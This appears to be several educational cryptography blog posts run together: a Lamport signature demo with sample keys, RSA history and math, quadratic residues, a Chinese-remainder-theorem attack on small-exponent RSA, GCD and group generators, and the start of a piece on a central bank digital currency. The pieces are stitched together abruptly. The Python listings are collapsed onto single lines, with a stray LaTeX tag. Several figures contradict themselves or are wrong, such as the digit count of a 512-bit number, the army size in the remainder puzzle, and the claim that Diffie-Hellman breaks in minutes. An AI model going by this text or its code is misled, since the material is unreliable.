==== Private key (keep secret) =====Priv[0][0] (SetA): 6f74f11f20953dc91af94e15b7df9ae00ef0ab55eb08900db03ebdf06d59556cPriv[0][1] (SetB): 4b1012fc5669b45672e4ab4b659a6202dd56646371a258429ccc91cdbcf09619Priv[1][0] (SetA): 19f0f71e913ca999a23e152edfe2ca3a94f9869ba973651a4b2cea3915e36721Priv[1][1] (SetB): 04b05e62cc5201cafc2db9577570bf7d28c77e923610ad74a1377d64a993097ePriv[2][0] (SetA): 15ef65eda3ee872f56c150a5eeecff8abd0457408357f2126d5d97b58fc3f24ePriv[2][1] (SetB): 8b5e7513075ce3fbea71fbec9b7a1d43d049af613aa79c6f89c7671ab8921073Priv[3][0] (SetA): 1c408e62f4c44d73a2fff722e6d6115bc614439fff02e410b127c8beeaa94346Priv[3][1] (SetB): e9dcbdd63d53a1cfc4c23ccd55ce008d5a71e31803ed05e78b174a0cbaf43887==== Public key (show everyone)=====Pub[0][0]: 7f2c9414db83444c586c83ceb29333c550bedfd760a4c9a22549d9b4f03e9ba9Pub[0][1]: 4bc371f8b242fa479a20f5b6b15d36c2f07f7379f788ea36111ebfaa331190a3Pub[1][0]: 663cda4de0bf16a4650d651fc9cb7680039838d0ccb59c4300411db06d2e4c20Pub[1][1]: 1a853fde7387761b4ea22fed06fd5a1446c45b4be9a9d14f26e33d845dd9005f==== Message to sign ===============Message: The quick brown fox jumps over the lazy dogSHA-256: d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592==== Signature =====================Sign[0]: 4b1012fc5669b45672e4ab4b659a6202dd56646371a258429ccc91cdbcf09619Sign[1]: 04b05e62cc5201cafc2db9577570bf7d28c77e923610ad74a1377d64a993097eSign[2]: 8b5e7513075ce3fbea71fbec9b7a1d43d049af613aa79c6f89c7671ab8921073Sign[3]: 1c408e62f4c44d73a2fff722e6d6115bc614439fff02e410b127c8beeaa94346The signature test is TrueIn this case, we take the random number and then convert it to a string. So the SHA-256 signature of “6f74f11f20953dc91af94e15…0db03ebdf06d59556c” is 7f2c9414db83444c586c…49d9b4f03e9ba9. If can be seen that the hash of the message (“The quick brown fox jumps over the lazy dog”) has a hex D value at the start, which is 1101 in binary, and we see we take from SetB [0], SetB [1], SetA [2] and SetB [3]. A demonstration is given here.
ConclusionsThe Internet we have now built on the foundations that Leslie applied. On 18 March 2013, he received the AM Turing Award (which is like a Nobel Prize in Computer Science). At the time, Bill Gates said:
Leslie has done great things not just for the field of computer science, but also in helping make the world a safer place. Countless people around the world benefit from his work without ever hearing his name. … Leslie is a fantastic example of what can happen when the world’s brightest minds are encouraged to push the boundaries of what’s possible.Basically, much of our computing world is still using the amazing foundation that was created in the 1970s and 1980s. We tip our hats to Diffie Hellman, Shafi Goldwasser, Ralph Merkle, Ron Rivest, Adi Shamir, and, of course, Leslie B Lamport. As a note, that while Leslie’s paper on Clocks is cited over 12,000 times, the Diffie Hellman paper is cited over 19,300 times:
We really should be integrating computer science into our school curriculum, and show that it has equal standing to physics, biology and chemistry, and it will shape our future world as much as the others. Why not teach kids about public-key cryptography in the same way that we talk about Newton?
Related material
Introduction
In August 1977, The Stranglers were in the music charts with “Something Better Change” and something really was changing, and it was something that would change the world forever. This was the month that Martin Gardner in his Scientific American column, posted a challenge of a method that has stood the test of time: RSA. It related to the work of R(ivest), A(dleman) and S(hamir) and was a puzzle on their discovery of a method which allowed two keys to be created, where one could encrypt and the other to decrypt. Their work had been based on a proposal from Whitfield Diffie and Martin Hellman on trapdoor functions that could be used to create the key pair.
Mathematical Puzzles introducing RSAIn order to explain the RSA concept, Martin’s provided a background the Diffie-Hellman method for which he outlined:
Then in 1975 a new kind of cipher was proposed that radically altered the situation by supplying a new definition of "unbreakable." a definition that comes from the branch of computer science known as complexity theory. These new ciphers are not absolutely unbreakable in the sense of the one-time pad. but in practice they are unbreakable in a much stronger sense than any cipher previously designed for widespread use. In principle these new ciphers can be broken. but only by computer programs that run for millions of years!Overall the Diffie-Hellman method has had a good run, but it has struggled in recent years to keep up with the processing power for computers, and the millions of years of running is not quite the case in the modern area, and where the original ciphers could now easily be broken with the simplest of computers within minutes.
With the RSA method, Martin Gardner outlined:
Their work supported by grants from the NSF and the Office of Naval Research. appears in On Digital Signatures and Public-Key Cryptosystems (Technical Memo 82. April. 1977) issued by the Laboratory for Computer Science Massachusetts Institute of Technology 545 Technology Square. Cambridge Mass. 02139.The memorandum is free to anyone who writes Rivest at the above address enclosing a self-addressed. 9-by-12-inch clasp.On receipt the requesters eventually (it took over four months in many cases) received a precious piece of history (Figure \ref{fig03}).
RSA research paperIt seems unbelievable these days, but the original methods were based on two 63-digit prime numbers that would be multiplied to create a 126-digit value:
Contrast this with the difficulty of finding the two prime factors of a 125- or 126-digit number obtained by multiplying two 63-digit primes. If the best algorithm known and the fastest of today's computers were used, Rivest estimates that the running time required would be about 40 quadrillion years'A 256-bit number, at its maximum, generates 78-digits:
115,792,089,237,316,195,423,570,985,008,687,907,853,269,984,665, 640,564,039,457,584,007,913,129,639,936Web: https://asecuritysite.com/encryption/keys3
The 40 quadrillion years has not quite happened, and where 512-bit keys are easily broken in Cloud. If you are interested, here is a 512-bit integer value and which has 148 digits, such as:
13,407,807,929,942,597,099,574,024,998,205,846,127,479,365,820,592,393,377,723,561,443,721,764,030,073,546,976,801,874,298,166,903,427,690,031,858,186,486,050,853,753,882,811,946,569,946,433,6 49,006,084,096web: http://asecuritysite.com/encryption/random2
The search for prime numbers, too, has been progressive since 1977, and by 2014, the world discovered a 17,425,170-digit prime number. The finding of prime numbers make the finding of them in the RSA method must easier.
So the RSA method has been under attack for years, from both discovering prime numbers and also in factorizing. Along with this computing power has increased massively. If think that 40 years that have passed, and take a quick assumption that computing power doubles every year then we get:
1977 4 Quadrillion Years (4,000,000,000,000,000)1978 2 Quadrillion Year1979 1 Quadrillion Year…2020 227 years2021 113 years2022 57 years2023 28 yearsand if we get a GPU card with 4,000 processors, we take it to less than a year, and we get of few of them today into a cluster, and we crack it within one day! The FREAK vulnerability was actually caused by the limiting of RSA keys, due to US Export controls, to 512-bits.
The factorising of prime numbers too has generated methods which can quickly find the prime number factors
The Tension of Crypto and Academic FreedomOnce Martin had published the article, the requests for the article came rushing in, especially as the paper had not yet appeared in the Communication of the ACM. Initially there were 4,000 requests for the paper (which rose to 7,000), and it took until December 1977 for them to be posted.
Why did it take so long to get the paper published and also to send them out? Well the RSA method caused significant problems within the US defence agencies. This was highlighted in a letter sent from J.A.Meyer to the IEEE Information Theory Group on a viewpoint that cryptography could be violating the 1954 Munitions Control Act, the Arms Export Control Act, and the International Traffic in Arms Regulations (ITAR), and could thus be viewed equivalent to nuclear weapons. In even went on to say that:
Atomic weapons and cryptography are also covered by special secrecy lawsThe main focus of the letter was that any work related to cryptography would have to be cleared by the NSA before publication. In fact, the letter itself had been written by Joseph A Meyer, an employee of the NSA.
Joseph had already been embroiled in controversy with a proposal to fit a tracking device to the 20 million US citizens who had been associated with crime. The tag would then be used to monitor the location of the “subscriber”, and to detect when they broke a curfew or committed a crime. In this modern era of GPS tracking of everyone’s phones, Joseph’s dream has actually become a reality, but now everyone is monitored.
The RSA team thus had a major dilemma, as many of the requests for the paper come from outside the US. Martin Hellman, who was a co-author of the Diffie-Hellman method, had already had problems with ITAR, and even decided to present thep aper himself in 1977 at Cornell University rather than the practice of letting his PhD students present the work.
His thinking was that the court case would be lengthy, and that it would damage his PhD student’s studies (Ralph Merkle and Steve Pohlig), and so he stood up for academic freedoms. Initially the students wanted to present their work, but their families did not think it a good idea. Eventually though, Ralph and Steve stood beside Hellman on the stage to present the paper, but did not utter a word.
With this stance the cryptographers held ground, and hoped that a stated exemption on published work within ITAR would see them through. The worry, though, did delay the paper being published, and for the posting of the article. In reply to Meyer’s letter, the IEEE stood its ground on their publications being free of export licence controls, with the burden of permissions placed on the authors:
RSA research paperand then additional response from the IEEE saying they put in place safeguards for the publishing of material.
The scope of the impact of RSA was perhaps not quite known at the time with Len Adleman stating:
I thought this would be the least important paper my name would ever appear onIn fact, Adleman has said that he did not want his name on the paper, as he had done little work on it, but he did insist that his name went last. Often papers, too, have an alphabet order, and if so the method could have been known as the ARS method … not the kind of thing that you would want to say to audiences on a regular basis.
RSAWithin cryptography we typically use non-negative integer values, and perform integer operations. The challenge in public key encryption is to find a method which is computationally difficult for a computer to solve, if it does not know a given secret (normally the private key). One such problem is the difficulty in factorizing a value made up of the multiplication of two large prime numbers. In RSA, we take two large prime numbers — typically at least 512 bits long — and then multiply these together to create a modulus value, (N) (often at least 1,024 bits long). From this, we then derive a public exponent (e) and a modulus. The modulus N is thus determine by multiplying the two prime numbers (p and q):
N = p x qThe core challenge here is that it should be extremely difficult (and costly) to determine the two prime numbers which make up N. Next we select the value of our encryption key value for the public key (e). This is selected so that N and e do not share any factors: gcd(e,PHI)=1, and where
PHI = (p-1)(q-1)
This is known as Euler’s totient function.
The most typical value we use for e is 65,537 (0x10001). To produce a cipher (C), we convert our message into the form of an integer (M) and then use e and N to give:
C = M^e mod NTo decrypt this, we take the cipher (C), and recover the message value using the decryption exponent (d) and the modulus (N):
M = C^d mod NTo make RSA work, we then need to calculate the private exponent (d) to obey:
(d x e) mod{PHI} = 1and where phi is:
PHI = (p-1)(q-1)We determine d by determining the inverse of e modulus phi:
d = e^{-1} \pmod {\phi}So let’s take p=11 and q=7, and pick e of 3. N will be:
N=p.q = 77
PHI is 6x10=60
We can’t pick e of 3 or 5, so we will pick e=7. Now we compute the decryption exponent of
d = e^{-1} mod (PHI)
>>> pow(7,-1,60) 43
If we select a message of 19, we get a cipher of:
C=19⁷ (mod 77) = 68
Now to decrypt:
M= 68⁴³ (mod 77) = 19
Our public key is then (e,N) and the private key is (d,N). The usage of the (mod N) operation is the magic that makes this work. Unfortunately, the RSA method has suffered from performance issues as we have increased the size of the prime numbers used. Thus, if researchers can crack a modulus of 1,024 bits, they will factorize the two 512-bit prime numbers used. At the current time, a public modulus of 2,048 bits is recommended. So while a modulus of this size is acceptable within a powerful computer, devices which have limited CPU resources often struggle in creating the keys, and in the encryption and decryption process.
RSA SignaturesWith the mathematical operations involved, RSA is hardly ever used for core encryption, as symmetric key methods are much more efficient in their implementation. But it is fairly efficient when dealing with relatively small data sizes, such as for a symmetric key (typically only 128 bits or 256 bits long). For this, Alice might protect a symmetric key with her public key, and whenever she needs to use it, she will decrypt it with her private key. Another area where we use RSA is to take a hash of a message, and then encrypt this with the private key. As the hash is relatively small (such as 128 bits, 160 bits or 256-bits), it is relatively efficient on the use of the computing resources.
Where public key encryption methods come in most use is within creating digital signatures, and where Bob can take a hash of a message, and then encrypt this hash with his private key. Alice can then also take a hash of the received message, and decrypt Bob’s encrypted hash with his public key, and compare the values produced. If they match, she determines that it was Bob who sent the message and that it has not been changed by anyone.
In Figure \ref{fig_trust03} we see that Bob has a key pair (a public key and a private key). He takes a hash of the message and encrypts with his private key, and then appends this to the message. This and then message will be encrypted by the symmetric key that Bob and Alice share (typically this is either a long-term shared key, or has just been negotiated through a hand-shake). When she receives the ciphered message, she decrypts it with the shared symmetric key, and then takes her own hash of the message. She also decrypts the encrypted hash using Bob’s public key, and then compares the hashes. As the public key and the private key work together, only the signing by Bob’s private key will reveal the hash with his public key. Alice can then tell that the message has not been changed — as the hash would change if Eve has modified it — and that it was produced by Bob (and not by Eve pretending to be Bob). Obviously, we now have a problem in how we get Bob’s public key. An important element here, is that they have to find a way for Bob to send Alice her public key in a trusted way, so that Eve cannot intercept it, and change the keys. For this, we introduce Trent, and who is trusted by Bob and Alice to prove their keys. For this Trent signs the public key of Bob with his private key, and then Alice uses Trent’s public key to prove Bob’s public key.
For a few decades, RSA has been the main method in supporting public key encryption. We often use it when we connect to a secure Web site, and where the RSA method is used to prove the identity of the Web site. In this case the RSA public key of the site is presented to the user in the form of a digital certificate — and which is signed by a trusted source. The Web site can then prove its identity by signing a hash of the data with its private key, and the client can check this. A typical size of the public modulus is now 2,048 bits (created by two 1,024 bit prime numbers), and with some sites supporting 4,096 bits. So while desktop computers have the processing power to cope with these large numbers, less able devices (such as for low processing powered IoT — Internet of Things — devices) will often struggle to perform the necessary calculations.
Simple exampleSo let’s take a simple implementation of RSA key generation, encryption and decryption. In this case the code is:
Web: https://asecuritysite.com/encryption/rsa12
In this case, we generate two random prime numbers ($p$ and $q$) for a given number of bits. The more bits we use, the more secure the method is likely to be, as an increase in the number of bits increases the number of prime numbers that can be searched for. Once we have these, we then determine the public modulus ($N$) by multiplying the prime numbers together. The difficulty of the problem is then factorizing this modulus back into the prime numbers. If we have the public modulus, it is fairly simple to then find the decryption exponent value. In most modern examples of RSA, we select a public exponent value ($e$) of 65,537, and so our encryption key becomes $(65,537,N)$. The decryption exponent ($d$) is then the inverse of $e \pmod {\phi}$ (and where $\phi=(p-1)(q-1)$).
from Crypto.Util.number import *from Crypto import Randomimport Cryptoimport libnumimport sysbits=60msg="Hello"p = Crypto.Util.number.getPrime(bits, randfunc=Crypto.Random.get_random_bytes)q = Crypto.Util.number.getPrime(bits, randfunc=Crypto.Random.get_random_bytes)n = p*qPHI=(p-1)*(q-1)e=65537d=libnum.invmod(e,PHI)## d=(gmpy2.invert(e, PHI))m= bytes_to_long(msg.encode('utf-8'))c=pow(m,e, n)res=pow(c,d ,n)print ("Message=%s\np=%s\nq=%s\n\nd=%d\ne=%d\nN=%s\n\nPrivate key (d,n)\nPublic key (e,n)\n\ncipher=%s\ndecipher=%s" % (msg,p,q,d,e,n,c,(long_to_bytes(res))))\end{lstlisting}A test run using 60-bit prime numbers is:
Message=hellop=242648958288128614541925147518101769011q=299356840913214192252590475232148200447N=72638625604016464006874651287120524699932001616388639276131104258310920947917cipher=5847803746095553957863305890801268831081138920772806292673259864173015661385decipher=hello ConclusionsRSA has been around for over 46 years, and is still going strong. It can encrypt and it can sign. While the prime numbers involved has got larger, and it needs to have padding applied, it is still one of the best public key methods around, and well used on the Web.
Cybersecurity Cloud Lesson 1 rule book in key management for companies:
I had better stop here. So, finally, put a large poster on the wall that says, “no key, means no data!”, “the enemy is within and around you!”, “A breach of the trust infrastructure is one of the most expensive cybersecurity threats to resolve”, “A single key breached, and this company could be finished!”.
Sorry for being so coarse in places, but handling keys is a serious business.
Demos
These are:
Introduction
Remember at school that class where the teacher taught you about how to square something? It was great, and where we loved to take the square of 3 and get 9, and the square of 5 gave us 25. But, in the next lesson, we came back to earth with a bump, as it was time for the nasty little square root. Now, we have to find two numbers which when multiplied together, gave us 121, or 196. Luckily, there was a convenient button on the calculator that give us our quick answer. In the time before calculators, though, working out more complex square roots involved tables of logarithms. And, so, in this podcast, I will outline a difficult problem … find a square root in a modulo n world … aka quadratic residues.
A hard problemIn cryptography, we look for hard problems to solve. For this, we can create a backdoor into the problem and solve the problem. With discrete logarithms, we have a hard problem of:
Y=g^x (mod p)
and where it is difficult to determine x, even though we know g, Y and p, but as long as the prime number if large enough. Another hard problem is used in the RSA public key method, and this involves the difficulty in factorization at modulus (N) which is made up of two prime numbers.
Another hard problem is quadratic residues modulus n, and uses the form of:
x²=a (mod p)
and where we must find a value of x which results in a value of a (mod p). If a solution exists, the value of a is a quadratic residue (mod n).
In modular arithmetic, this operation is equivalent to a square root of a number (and where x is the modular square root of a modulo p). In the following, we will try and solve for the value of x, and also generate the Legendre symbol value.
For example, if we have a=969 and p=1223, we get:
Solve x²=968 (mod 1223) [Ans: 453] Try!
and:
Solve x²=1203 (mod 1223) [Ans: 375] Try!
Thus 968 and 1203 are quadratic residues modulo 1223.
The form of x²=a (mod p) is not always solvable. For example, if we have a=209 and p=1223 , we get:
x²=209 (mod 1223)
Also, if a shares a factor with p it is also not solvable. For example:
x²=39 (mod 13)
will return a zero value for x.
If we take a value of p=53, we get the following values [here]:
0, 1, 4, 6, 7, 9, 10, 11, 13, 15, 16, 17, 24, 25, 28, 29, 36, 37, 38, 40, 42, 43, 44, 46, 47, 49, 52A sample run of the code gives:
Quadradic residue (mod n) solver a: 47 p: 53We need to solve for: val^2 = 47 (mod 53 )-----------------------Result: 10( 10 )^2 = 47 (mod 53 )-----------------------For a prime number of 53 here are the residues up to p (or 100)1 4 6 7 9 10 11 13 15 16 17 24 25 28 29 36 37 38 40 42 43 44 46 47 49 52In this case, we see that 10 is a possible quadratic residue for a p of 53. The solution is thus:
10²=47(mod 53)
You can see a demonstration here and here are some examples:
In science, it is difficult to avoid Adrien-Marie Legendre, as there are so many things named after him: Fourier–Legendre series; Gauss–Legendre algorithm; Legendre chi function; Legendre duplication formula; Legendre–Papoulis filter; Legendre form; Legendre polynomials; Legendre sieve; Legendre symbol; Legendre transformation; Legendre wavelet; Legendre–Clebsch condition; Legendre–Fenchel transformation; Legendre’s constant; Legendrian knot; and Gamma function–Legendre formula.
And, so, where does Legedre help with your online security? Well, you will find his method used in elliptic curve methods, which are used to protect your online identity, and the security of the communications that you have with this Web page. So, let’s look at the Legendre Symbol.
For this, we turn to Legendre who, in 1798, defined the Legendre symbol. In the following, we will try and solve for the value of x, and also generate the Legendre symbol value [link]:
Solve x²=12 (mod 13)
With his method, we can determine that the answer is 8, as 64 (mod 13) is 12. Some sample code is [here]:
import sysimport libnumdef legendre_symbol(a, p): ls = pow(a, (p - 1) // 2, p) return -1 if ls == p - 1 else lsn=11if (len(sys.argv)>1): n=int(sys.argv[1])print ("Here are the Z*p (quadratic residues modulo n and coprime to n):")print ("\nJacobi symbol")for a in range(1, n): rtn= libnum.jacobi(a,n) if (rtn==1): print (a,end=', ')print ("\nLegendre symbol")for a in range(1, n): rtn= legendre_symbol(a,n) if (rtn==1): print (a,end=', ')A quadratic residue relates to the solving of the form: y=x² (mod n), and where we need to find values of y for different values of x and for a given modulus (n). For n=11, we get Z∗p={1, 3, 4, 5, 9}. This is because, 1² (mod11)=1, 2² (mod11)=4, 3² (mod11)=9, 4² (mod11)=5, 5² (mod11)=3, 6² (mod11)=3, 7² (mod11)=5, 8² (mod11)=9, 9² (mod11)=4, and 10² (mod11)=1.
To find the quadratic residues for a given modulus, we can use the Jacobi symbol is:
and is defined as:
The legendre_symbol returns:
The Jacobi symbol was defined by Carl Gustav Jacob Jacobi as a generalized form of the Legendre symbol.
Elliptic CurvesWhile we have a trivial example here, we can use it for more complex ones, such as finding a point on the elliptic curve [here]. A sample run is:
Elliptic curve is: P-192Finding elliptic point closest to: 1Prime number: 6277101735386680763835789423207666416083908700390324961279a,b -3 2455155546008943817740293915197451784769108058161191238065(2, 1126956676167578795924565825825899020268914906345645360775L)(3, 2476168101441297080746512578325117519920374855425678540834L)(5, 936760824408609109609580731987662341845728162027345586443L)(6, 61374494507529673497365598443020935064779457192199494327L)(8, 1539168359597512271047259505090133446672063593980132990812L)(12, 3464753203279792192409824182683870253677262339932562461307L)(13, 3288234558942609973454802567986887155175778959720199156770L)(15, 4548834217212027584647316131131523554591911664904227806291L)(17, 2148916484007672061843886225501299518817815267521173400039L)(18, 1600977792967480259538850281480651298625682822208237361467L)(22, 1682016893107185458056834822961338463540516386180178478778L)The code for this is [here]:
import mathimport sysimport libnumdef legendre_symbol(a, p): ls = pow(a, (p - 1) // 2, p) return -1 if ls == p - 1 else lsdef findit(start,p,a,b): x=start count=0 while True: val=((x*x*x) + a*x+ b) % p rtn= legendre_symbol(val, p) if (rtn==1): if (libnum.has_sqrtmod(val,{p: 1})): res=next(libnum.sqrtmod(val,{p: 1})) print(x,int(res)) count=count+1 x=x+1 if (count>20): return if (x-start>200): returnp = 2**256 - 2**224 + 2**192 + 2**96 - 1 a=-3b=41058363725152142129326129780047268409114441015993725554835256314039467401291startval=1type="P-192"if (len(sys.argv)>1): startval=int(sys.argv[1])if (len(sys.argv)>2): type=str(sys.argv[2])if (type=="P-192"): p = 2**192-2**64-1 a=-3 b=2455155546008943817740293915197451784769108058161191238065if (type=="P-224"): b=18958286285566608000408668544493926415504680968679321075787234672564 p = 2**224 - 2**96 + 1 a=-3if (type=="P-256"): p = 2**256 - 2**224 + 2**192 + 2**96 - 1 a=-3 b=41058363725152142129326129780047268409114441015993725554835256314039467401291if (type=="P-384"): a=-3 b=27580193559959705877849011840389048093056905856361568521428707301988689241309860865136260764883745107765439761230575 p = 2**384 - 2**128 - 2**96 + 2**32 - 1 if (type=="Curve25519"): a=486662 b=1 p = 2**255 - 19 if (type=="secp256k1"): a=0 b=7 p = 2**256 - 2**32 - 977 if (type=="M-221"): a=117050 b=1 p = 2**221 - 3 if (type=="BN(2,254)"): a=0 b=2 p = 16798108731015832284940804142231733909889187121439069848933715426072753864723 if (type=="M-383"): a=2065150 b=1 p = 2**383 - 187 print("Elliptic curve is:\t\t",type)print("Finding elliptic point closest to:\t",startval)print("Prime number:\t\t\t",p)print("a,b",a,b)findit(startval,p,a,b)Please note, I slippled up a little in the podcast, and where the army size if 187,000. I have updated below.
And so a large army met. The general asks the collected troops to arrange themselves into groups of 50. He counts that there are four troops left without a group. He then asks for groups of 60, and there are 14 left, and finally, he asks for groups of 70, and there are 24 left. The general stands up and tells the army that they are 201,554 strong. So how did the general do it?
>>> army%50
4
>>> army%60
14
>>> army%70
24
>>> print (army)
187000
Solution: https://asecuritysite.com/principles_pub/crt02?val1=4,14,24&val2=50,60,70
The Chinese remainder theorem was first published by Chinese mathematician Sun Tzu. It determines a number x so that, when divided by some given divisors, leaves given remainders. As public key encryption typically involves this type of operation, CRT is well set up to help to crack encrypted messages. So what value will x equal in the following [Soln]:
x mod 3 = 2x mod 5 = 3x mod 7 = 2The answer is 23, as 23 divided by 3 gives 21 remainder 2, 23 divided by 5 gives 4 remainder 3, and 23 divided by 7 gives 3 remainder 2.
CRT and RSAIf we capture enough RSA encrypted messages with the same e value and different modulus values (N), we can crack the message using the Chinese Remainder Theorem (CRT). For example, if we have an e value of 3 we just need to capture three cipher messages to be able to recover the message.
In this case, we will use the following (where p1 and q1 generate N1, p2 and q2 generate N2 and p3 and q3 generate N3):
e=3, message=123456789123456, p1=1131701, q1=1131721, p2=1131727, q2=1131737, p3=1131749, q3=1131751The run then gives:
eGCD of N values: 1N1= 1280769787421 N2= 1280817319799 N3= 1280858062499Message= 1234567891234 e= 3Cipher1= 184224238921 Cipher2= 173356604414 Cipher3= 369941826218The equations we have to solve are then:
M^e mod 1280769787421=184224238921M^e mod 1280817319799=173356604414M^e mod 1280858062499=369941826218If we now use Chinese Remainder Theorem we get a result of:
Result (M^e) is: 188,1676,377,431,587,319,857,436,861,793,600,904
And then we just use: 10^(log10(M^e)/e)
and recover the message of 1234567891234
Try here.
A more detailed example is [here]:
N1= 20439437 N2= 20684303 N3= 20830087Message= 1500000 e= 3Cipher1= 6509102 Cipher2= 9683741 Cipher3= 3214286 =======Equations to solve=======M^e mod 20439437=6509102M^e mod 20684303=9683741M^e mod 20830087=3214286 ======Chinese Remainder Theorm Calc========Result (M^e) is: 3375000000000000000 Calculated value of m is 1500000 Using 10^(log10(M^e)/e)We can also use:
M=res**(1.0/3.0)M=libnum.nroot(res,3) CRT is good, sometimes?Well, in RSA, we can use Chinese Remainder Theory to simplify the decryption process. We will cover this in more detail when we look at RSA encryption. For now, all we can say that for RSA keys we also generate values of dQ, dP and InvQ to use CRT to speed up decryption.
Other attacksCRT is a widely used cracking technique in cryptoanalysis. Werner Schindler [here] defined a timing attack on RSA which involves a factorization on the RSA modulus if CRT has been used. The work goes back to 1996 when Arjen Lenstra defined an attack against an optimization (called the CRT). If a fault was generated in calculating a signature (using RSA-CRT optimization), the attacker could recover the associated private key from a signature. This is known as the “RSA-CRT key leak”.
Many systems have been immune from this attack as TLS did not use an RSA signature. Unfortunately, the forward security option in TLS is now being recommended, and this has re-introduced the problem.
Researchers at Red Hat [here] also now found many Web sites which were not hardened against this type of attack and found quite a few with RSA-CRT key leaks (none of which were code repositories). They found that the private key of a Web site can be leaked to the intruder, who can then decode all of the encrypted communications with the site and also impersonate it.
Forward secrecy is used with a key-exchange method and uses a session key which derives itself from a given set of long-term keys and which will not reveal the session key even in the long-term keys are breached.
How do we protect against this?There are two ways to defend against this attack. The first is to make sure that e always exceeds the copies of messages that can be copied, and the other is to pad messages with random bits. In most applications, now e is 65,537.
This podcast will outline a few building blocks of cryptography: GCD (Greatest common divisor), extended GCD and group generators. These you will find in many related cryptography papers, and any weaknesses in these can cause significant problems to the overall security of a method.
Greatest common divisor— GCDA fairly simple concept that is used within public key encryption is the greatest common divisor (GCD). With this, we take two integer values and determine the largest factor that they are. Overall, every non-prime number is made up of the multiplication of prime numbers. For example:
32,128 = 2 x 2 x 2 x 2 x 2 x 2 x 2 x 251
36,281 = 7 x 71 x 73
So, the GCD of 56 and 42 is 14, as both of the values can be factorized into 4 x 14 and 3x14, respectively. https://asecuritysite.com/principles_pub/gcd
Normally we use this function to find values which do not share a factor, as we will see when selecting the public exponent (e) in the RSA method. The method to determine the GCD is fairly simple, and where we take two values (a and b) and use the modulus operation to find the GCD:
def gcd(a, b): while( b != 0 ): Remainder = a % b; a = b; b = Remainder; return a;g = gcd(679,99)print gA sample run shows that 679 and 99 do not share any factors:
a:679, b:99, Remainder:85a:99, b:85, Remainder:14a:85, b:14, Remainder:1a:14, b:1, Remainder:0Return value:1Web: https://asecuritysite.com/encryption/gcd
Extended GCDGCD is the greatest common divisor. For two integers (x and y), the extended GCD method solves ax+by=v for a and b, and where v=gcd(x,y). One example of using the Extended GCD method is to determine the modulo inverse of a value (the inverse value of n (mod p) so that:
n⋅n^{−1}=1 (mod p) ).
30a+20b=gcd(30,20). Soln: a=1, b=−1. Try!
35a+15b=gcd(35,15) . Soln: a=1, b=−2. Try!
Group generatorIn reading about cryptography, have you ever come across the term of a cyclic group G of order p and with a generator g? With a discrete log mapping, we map x to Y with
Y=g^x (mod p)
where we have a generator value (g) and a prime number p. The challenge is that even though we know Y, g and p, it is extremely difficult to determine the x value if we use a large prime number.
But can we use any value of g, and should it be as large as possible? The answer to both of these questions is no. If we select a prime number of 11, and then select g values of 2, 3, 4 …10, and then calculate the results we get [spreadsheet]:
Now look at g=2 and p=11, for 2¹ (mod 11) we get 2, 2² (mod 11) we get 4, 2³ (mod 11) we get 8, and so on. As we see {1,2,3,4,5,6,7,8,9,10} gives {2,4,8,5,10,9,7,3,6,1}, and where all the input values give a 1-to-1 mapping to another value in the group. But if we try g=3 and p=11, we get x=1 gives 3, and for x=6 also gives 3. The mapping is now {1,2,3,4,5,6,7,8,9,10} to {3,9,5,4,1,3,9,5,4,1}, and so we are not using the full range, and where there would be a confusing for mapping back to our original value.
But, in order to demonstrate the principle, I have done this in a long-handed way, so how do I find out all the possible values of G for a given prime number (p)? Well, here’s a nice simple method in Python that I created to test up to p):
import sysdef issafe(g,p): exp=1 rand=g next = rand % p while (next != 1 ): next = (next*rand) % p exp = exp+1 if (exp==p-1): return True else: return Falsep=11g=4if (len(sys.argv)>1): p=int(sys.argv[1])if (len(sys.argv)>2): g=int(sys.argv[2])print ("Is g={0} safe for p={1}? {2}".format(g,p,issafe(g,p)))print ("x\tg^x\tg^x (mod p)")for x in range(0,10): print ("{0}\t{1}\t{2}".format(x,pow(g,x),pow(g,x,p)))A sample run with an unsafe value is:
Is g=3 safe for p=13? Falsex g^x g^x (mod p)0 1 11 3 32 9 93 27 14 81 35 243 96 729 17 2187 38 6561 99 19683 1and where the only output value is 1, 3 and 9. For a safe value, we get:
Is g=3 safe for p=17? Truex g^x g^x (mod p)0 1 11 3 32 9 93 27 104 81 135 243 56 729 157 2187 118 6561 169 19683 14So, how does this work in practice? Well, rather than picking the prime number and then finding a g value which will work, we typically pick the g value we want, such as for g=2, g=3 or g=5, and then find a prime number of a given size to work with that value. This will slow down the process, as we might have to pick a few prime numbers before we find one that will work. An example command in OpenSSL to generate the Diffie-Hellman parameters for g=3 and a 512-bit prime number is:
openssl dhparam -text -3 512DH Parameters: (512 bit) P: 00:ff:1a:a6:fd:94:1b:55:8c:03:e0:ba:91:d5:e3: 23:40:6a:8e:49:a1:d4:d9:dd:68:3f:10:3d:ff:a7: a6:8e:2f:9f:f9:3f:4d:dc:3d:54:71:e0:aa:65:dc: 24:03:42:73:39:db:d6:02:a6:dc:bd:ac:49:12:a8: dc:d0:57:d9:bf G: 3 (0x3)We live in a legacy world of money. Our transactions are often still based on moving paper money around, and we have basically scaled this into a digital world. At the core of this is the lack of any real cryptographic trust in digitally signing transactions.
For this, the Bank of England is now discussing a CBDC (Central Bank Digital Currency) [2]:
And before you reach for Ethereum smart contracts and ERC tokens, there’s a catch. This is not actually a cryptocurrency, but an electronic payment system. Basically, it will basically be a digital currency, and thus link these coins to a digital wallet which is held by a trusted payment entity (such as a bank or payment provider).
The overall proposed architecture is to use a central bank ledger, which validates transactions. This would not contain any personal data on users and integrate at an API level. Access to this API for users would be through intermediaries — trusted and regulated payment providers. Users would not be able to interact with the core ledger without using an intermediary.
Figure 1: Platform model [2] CBDC modelTo transfer funds in a traditional way, Alice contacts her bank and enables a transfer to Bob’s bank. The transaction basically involves account numbers and sort codes and is transferred through a trusted payment gateway. This is identified with the purple line in Figure 2.
In the CBDC model, Bob and Alice will own a digital wallet in their bank, and where Alice can move digital tokens from her wallet to Bob’s. Overall, Bob and Alice can move money between their bank account and their digital wallet. The moving of their funds into the digital wallet gives lesser control of funds than the maintenance of bank accounts.
Figure 2: Traditional payment v cryptographic paymentIn a traditional cryptocurrency system, Bob and Alice have a public blockchain wallet that contains their private key. In Ethereum, we transfer ERC20 tokens using a digital wallet. This digital wallet contains the private key to sign off the transaction. A smart contract then maintains a table of the owners of each of the ERC20 tokens issued. This relates to the wallet identifier as a hexadecimal address. This is identified as the red line in Figure 3.
